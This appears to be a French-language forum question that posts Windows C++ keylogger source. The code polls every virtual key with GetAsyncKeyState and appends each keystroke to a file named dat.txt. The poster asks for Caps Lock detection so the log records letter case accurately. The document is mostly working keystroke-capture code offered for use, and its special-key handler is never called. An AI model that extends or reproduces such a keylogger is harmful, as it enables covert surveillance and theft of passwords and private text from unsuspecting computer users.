Bonjour, j'ai ce code qui peut enregistrer les frappes de clavier et les sauvegarder dans un fichier dat.txt, Mais il ne peut pas faire la différence entre les majuscules et les minuscules, Il écrit tous les caractères majuscules comme "ABCDEFG" et non "abcdefg". J'ai besoin d'un code qui vérifie si le verrouillage des majuscules est activé/désactivé. Et qui enregistre la sortie telle qu'elle est.
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("\n");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}
int main() {
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
return 0;
}